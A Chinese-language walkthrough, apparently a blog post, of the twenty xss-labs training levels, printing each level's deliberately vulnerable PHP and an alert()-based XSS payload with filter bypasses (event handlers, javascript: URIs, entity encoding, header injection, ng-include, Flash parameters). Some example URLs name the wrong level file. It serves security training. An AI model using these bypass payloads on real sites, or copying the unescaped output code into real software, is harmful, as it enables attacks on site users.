xss-labs-master靶機1-20關解題思路

在這裏插入圖片描述
xss-labs-master靶機是xss-labs作者在github上發佈的後來不知道爲什麼就把它刪了,可能是因爲這個靶機屬於靜態頁面有一個通用的推廣方式(具體在後面),不過還是希望讀者使用實戰中的攻擊手段學習,這個靶機是對XSS漏洞的專項練習,一共有二十關,也是小白的看門磚吧!比如現在的我!大哭!!!!

  • 在這篇文章中,默認讀者已有WEB滲透測試相關知識,以及PHP、HTML等相關知識。

第一關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
window.location.href="level2.php?keyword=test"; 
}
</script>
<title>歡迎來到level1</title>
</head>
<body>
<h1 align=center>歡迎來到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎用戶".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

b、分析
這關只給一個圖片,根據圖片可以知道這關容易,而鏈接上有一個參數name,說明突破口再name這裏,根據代碼我們可以看出,代碼是將用戶以GET方式提交的參數name,沒有做任何防禦措施就直接顯示在HTML頁面中,所以將使用<script>alert('xss')</script>放入name變量中即可。

c、方法
這裏就是直接用腳本的就行,沒有方法可言。

d、注入語句

http://靶機網址/xss-labs-master/level1.php?name=<script>alert(/xss/)</script>

第二關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>歡迎來到level2</title>
</head>
<body>
<h1 align=center>歡迎來到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

b、分析
這關我們可以發現多了一個文本框,我們先用之前的語句填入文本框裏面,發現不行,什麼有了防禦機制,那麼我們看看源代碼,它將我們輸入的值給了value,然後它再傳給了一個htmlspecialchars函數,這個函數是把預定義的字符轉換爲 HTML 實體,說明把<script>標籤吃掉了,那麼我們的突破口就在value這裏,我們可以通過閉合標籤,使得<input name=keyword value="'.$str.'">這一句就閉合掉,即在<script>alert('xss')</script>前面加">,對前面input標籤進行閉合。

htmlspecialchars函數快查鏈接:這裏

c、方法
這裏就是我們使用閉合的方法,就是閉合了<input>標籤,產生新的執行語句。

d、注入語句

http://192.168.226.128/xss-labs-master/level2.php?keyword="><script>alert(/xss/)</script>

第三關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>歡迎來到level3</title>
</head>
<body>
<h1 align=center>歡迎來到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

b、分析
這個題就是變了個圖片,感覺也沒什麼的,先用之前的代碼測試一下,發現沒用,看看源碼,發現這裏不但對"號做了防禦,而這小子居然在value這裏也加了htmlspecialchars函數,還是逃不過啊!那就剛憋,雖然對了雙引號做了防禦,但是卻放行單引號,這種情況我們可以通過事件標籤觸發表單執行。

c、方法
這種情況我們可以通過事件標籤觸發表單執行,即通過使用HTML的事件知識對其注入。

一些常用的HTML標籤事件:這裏

d、注入語句

http://192.168.226.128/xss-labs-master/level3.php?keyword='οnmοuseοver='alert(/xss/)

第四關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>歡迎來到level4</title>
</head>
<body>
<h1 align=center>歡迎來到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>";
?>
</body>
</html>

b、分析
這關和之前幾個感覺差不多,同樣不能用之前套路了,看看源碼,發現這裏不但對號做了防禦,他這次不對value進行過濾,而是用str_replace函數直接過濾掉<>,但是不知道是不是有疏忽,對了單引號做了防禦,但是卻放行雙引號,這種情況我們還是可以通過事件標籤觸發表單執行。

str_replacestr函數快查:在此
c、方法
這種情況我們可以通過事件標籤觸發表單執行,不過需要的雙引號改成單引號。

d、注入語句

http://192.168.226.128/xss-labs-master/level3.php?keyword="οnmοuseοver="alert(/xss/)

第五關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>歡迎來到level5</title>
</head>
<body>
<h1 align=center>歡迎來到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>";
?>
</body>
</html>

b、分析
這關和往常一樣,使用之前的語句是不行的,根據源代碼,我們發現它對<script和on的都做了特殊處理,而且還使用strtolower函數對所有字符串變成小寫,單引號也不可用了,但是我們還是可以閉合語句,通過雙引號加>閉合,但是閉合歸閉合,卻沒有用來觸發的條件呀!我們這時候可以使用javascript僞協議以及標籤進行注入。

javascript僞協議快查:在此

c、方法
使用javascript僞協議以及標籤進行注入,就是在代碼前面加上javascript:,在這裏的標籤不一定只是鏈接標籤,還可以其他標籤,可以自己瞭解。

d、注入語句

http://192.168.226.128/xss-labs-master/level5.php?keyword="><a href='javascript:alert(/xss/)'>xss

第六關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>歡迎來到level6</title>
</head>
<body>
<h1 align=center>歡迎來到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>";
?>
</body>
</html>

b、分析
這題我們可以看出雖然對on、src、data、href、<script進行過濾,但是沒有了對大寫字母進行修改,所以我們可以使用單引號閉合,加大小寫的腳本或者標籤方法注入。

c、方法
可以使用單引號閉合,加大小寫的腳本或者標籤方法注入。

d、注入語句

http://192.168.226.128/xss-labs-master/level6.php?keyword="><scRipt>alert(/xss/)</scRipt>

第七關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>歡迎來到level7</title>
</head>
<body>
<h1 align=center>歡迎來到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>";
?>
</body>
</html>

b、分析
我們可以看到輸入比上一題加深了大小寫過濾的的難度,但是它卻把特殊語義的字符串修改成了空字符串,我們就可以使用特殊語義重構的方法進行注入。

c、方法
可以使用特殊語義重構的方法進行注入,就是在特殊語義內在加入特殊語義。

d、注入語句

http://192.168.226.128/xss-labs-master/level6.php?keyword="><scrscriptipt>alert(/xss/)</scrscriptipt>

第八關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>歡迎來到level8</title>
</head>
<body>
<h1 align=center>歡迎來到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";
?>
</body>
</html>

b、分析
這次更狠直接把上一題的疏忽補全,這是我們用之前的方法是肯定不行了,那麼我們就需要引入編碼繞過的概念,由於會被htmlspecialchars函數轉義,所以可將所有字符編碼爲HTML實體,從而繞過。

HTML實體速查:在此
HTML實體轉換器:在此

c、方法
使用編碼繞過概念,就是將所有字符編碼爲HTML實體。

d、注入語句

javasc&#114;ipt:alert(/xss/)

第九關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>歡迎來到level9</title>
</head>
<body>
<h1 align=center>歡迎來到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";
?>
</body>
</html>

b、分析
我們發現這裏多了一個strpos函數,這個函數是用來查找指定文本在字符串中第一次出現的位置,這時候我們就不得不在代碼里加入http://,但是並沒有過濾HTML實體編碼,所以我們還是使用編碼繞過。
strpos函數速查:在此

c、方法
使用過濾HTML實體編碼,但是由於需要加入http://,肯定不能在http://後面加代碼,必須在前面,並且將http://註釋掉才能執行。

d、注入語句

javasc&#114;ipt:alert(/xss/)//http://

第十關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>歡迎來到level10</title>
</head>
<body>
<h1 align=center>歡迎來到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

b、分析
這一題有點難度,我們使用之前的方法發現,無論怎麼樣都沒用,那麼我們來看看源碼,發現有一個t_sort參數,是需要我們在後臺才能找到的,而這個參數其實並沒有加什麼特殊防禦,只是過濾了尖括號,所以我們可以使用觸發事件標籤進行。

c、方法
使用觸發事件標籤進行,是在URL上加入t_sort值=觸發事件,注意用的是雙引號扣起來。

d、注入語句

http://192.168.226.128/xss-labs-master/level10.php?keyword=1&t_sort="οnmοuseοver="alert(/xss/)
#注意這裏由於沒有文本框,需要在瀏覽器後臺的<input name="t_sort"  value="'.$str33.'" type="hidden">這行的type值改成text

第十一關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>歡迎來到level11</title>
</head>
<body>
<h1 align=center>歡迎來到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

b、分析
我們初看,感覺和上一關差不多,但是看源碼發現有一個$str11=$_SERVER['HTTP_REFERER'];字段,並且只對其進行雙引號過濾,而HTTP_REFERER是獲取http請求頭中的Referer字段,就是我們上一級網頁的url,那麼我們就需要使用到抓包工具進行抓包,修改Referer字段。

  • 修改前
    在這裏插入圖片描述
  • 修改後
    在這裏插入圖片描述
    c、方法
    通過使用burpsuite軟件對Referer字段進行修改惡意代碼。

d、注入語句

Referer: "οnmοuseοver="alert(/xss/)

第十二關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>歡迎來到level12</title>
</head>
<body>
<h1 align=center>歡迎來到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

b、分析
這一題和上一題一樣的手法,只是字段改變了是在http請求頭中的user-agent字段上。

c、方法
通過使用burpsuite軟件對user-agent字段進行修改惡意代碼。

d、注入語句

User-Agent: "οnmοuseοver="alert(/xss/)

第十三關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level14.php"; 
}
</script>
<title>歡迎來到level13</title>
</head>
<body>
<h1 align=center>歡迎來到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

b、分析
這一題和上兩題一樣的手法,改變的是在http請求頭中的Cookie字段上。

c、方法
通過使用burpsuite軟件對Cookie字段進行修改惡意代碼。

d、注入語句

Cookie: user="οnmοuseοver="alert(/xss/)

第十四關

a、後臺代碼

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>歡迎來到level14</title>
</head>
<body>
<h1 align=center>歡迎來到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>這關成功後不會自動跳轉。成功者<a href=/xss/level15.php?src=1.gif>點我進level15</a></center>
</body>
</html>

b、分析
十四題需要跳到一個新的網站,才能打,但是這個網站始終進不去,所以跳過吧!

第十五關

在這裏插入圖片描述
a、後臺代碼

<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>歡迎來到level15</title>
</head>
<h1 align=center>歡迎來到第15關,自己想個辦法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

b、分析
咋一看這關好像沒什麼漏洞來着,但是如果我們仔細看後臺,發現有一個<!--ngInclude: 1.gif-->語句,ng-include指令一般用於包含外部的 HTML 文件,ng-include屬性的值可以是一個表達式,返回一個文件名,但是默認情況下,包含的文件需要包含在同一個域名下。很有可能這個指令就是突破口,我們看看源代碼,果然有ng-include,並且對其輸入做了過濾,所以我們可以包含一個有漏洞的頁面,那麼不就破解了嗎?

c、方法
利用ng-include指令的特性包含一個有漏洞的html文件,注意這裏有對尖括號的過濾。

d、注入語句

http://192.168.226.128/xss-labs-master/level15.php?src='http://192.168.226.128/xss-labs-master/level1.php?name="><a href="javascript:alert(/xss/)">xss'

第十六關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>歡迎來到level16</title>
</head>
<body>
<h1 align=center>歡迎來到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str5)."</h3>";
?>
</body>
</html>

b、分析
這一關用的防禦方式並不複雜,但是卻考慮的比較周全,空格、反斜槓、script都被str_replace函數替換成&nbsp了,但是在HTML中可以將%0a或者%0D當成空格使用。

c、方法
使用替身大法,就是將%0a或者%0D當成空格使用,在HTML中這樣是合法的。

d、注入語句

http://192.168.226.128/xss-labs-master/level16.php?keyword=<a%0Ahref='javas%0Acript:alert("xss")'>xss

第十七關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!"); 
}
</script>
<title>歡迎來到level17</title>
</head>
<body>
<h1 align=center>歡迎來到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功後,<a href=level18.php?arg01=a&arg02=b>點我進入下一關</a></h2>
</body>
</html>

b、分析
這一關有兩個參數:arg01、arg02,當我們發送的時候,發現他們是會互相拼接起來的,那麼我們就容易想到這裏會不會就是突破口,看看源碼,發現這兩個參數是在embed上,embed標籤定義嵌入的內容,並且做了尖括號過濾,那麼我們可以加入一個屬性進去,生成惡意代碼。

c、方法
利用arg01、arg02參數進行屬性添加,產生惡意代碼。

d、注入語句

http://192.168.111.138/xss-labs-master/level17.php?arg01= onmousemove&arg02=javascript:alert(/xss/)
#注意在arg01這裏要添加空格,不然就是將屬性與之前的xsf01.swf?進行連接了

第十八關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>歡迎來到level18</title>
</head>
<body>
<h1 align=center>歡迎來到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

b、分析
這題和上一題的題目是基本一樣的思路,只是換了不一樣的圖片。

c、方法
利用arg01、arg02參數進行屬性添加,產生惡意代碼。

d、注入語句

http://192.168.111.138/xss-labs-master/level18.php?arg01= onmousemove&arg02=javascript:alert(/xss/)

第十九關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level20.php?arg01=a&arg02=b"; 
}
</script>
<title>歡迎來到level19</title>
</head>
<body>
<h1 align=center>歡迎來到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

b、分析
我們使用之前的方法發現,沒有起到作用,說明源碼已經改變,但是我們發現語句間被單引號壟斷並且只能規範書寫,不僅對引號做了實體編碼處理,而且將關鍵字當作普通文本,但是既然是19關(估計這裏要是再現實中,可能就視爲無漏洞了吧,個人感覺),說明還是有漏洞,我們回去看看頁面的圖片,發現有說兼容性問題,那麼就涉及到版本問題,我們可以將xsf03.swf進行反編譯,得到version未定義,加上swf這個文件的特性可以傳入參數。

c、方法
利用圖片信息以及swf特性進行猜測或者flash反編譯得到version參數未定義,從而傳入惡意代碼。

d、注入語句

http://192.168.111.138/xss-labs-master/level19.php?arg01=version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

第二十關

在這裏插入圖片描述
a、後臺代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level21.php?arg01=a&arg02=b"; 
}
</script>
<title>歡迎來到level20</title>
</head>
<body>
<h1 align=center>歡迎來到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

b、分析
這題和19題一模一樣,就是插件不同。

c、方法
和之前幾道題差不多。

http://192.168.111.138/xss-labs-master/level19.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//&width&height

萬能通關祕籍

福利:有一種通用的通關方式,那就是我們如果在頁面後臺添加一個事件呢?就是在後臺的圖片處直接添加。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章